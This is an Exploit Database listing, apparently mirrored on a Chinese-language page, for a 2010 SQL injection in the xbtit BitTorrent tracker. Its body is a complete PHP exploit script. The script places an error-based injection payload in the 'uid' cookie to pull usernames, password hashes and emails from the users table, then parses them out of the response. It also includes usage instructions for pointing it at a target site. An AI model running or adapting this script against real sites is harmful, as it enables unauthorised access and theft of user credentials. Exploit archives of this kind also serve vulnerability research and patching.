xBtiTracker – SQL Injection

• Exploit Database
• 10 阅读

• 作者： InATeam
  日期： 2010-04-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12140/

• # Exploit Title: xBtiTracker Remote SQL Injection Vulnerability
  # Date: 10.04.2010
  # Author: InATeam (http://inattack.ru/) via Dominus
  # Software Link: http://www.btiteam.org/
  # Version: xbtit v.2.0.0 - revision 559 and older
  # Tested on: xbtit v.2.0.0 - revision 559
  # Code :
  
  
  <?php
  
  $id = $argv['2'];
  $name = $argv['3'];
  $site = $argv['1'];
  if(isset($argv['3'])) {
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $site);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
  curl_setopt($ch, CURLOPT_COOKIE, "uid=$id+or+(1,1)=(select+count(0),concat((select+concat_ws(0x3a,id,username,password,email, 0x3a3a3a)+from+xbtit_users+where+username='$name'),floor(rand(0)*2))from(information_schema.tables)group+by+2);");
  $result = curl_exec($ch);
  preg_match("/(\d+:.*:[\w\d]{32}:.*):::/i", $result, $match);
  printf("\nResult: %s\n", $match['1']);
  }
  else {
  print("====================================\n
  Usage: php btit.php URL ID UserName\n
  Example: php btit.php http://site.com/ 2 admin\n
  ====================================\n");
  }
  
  ?>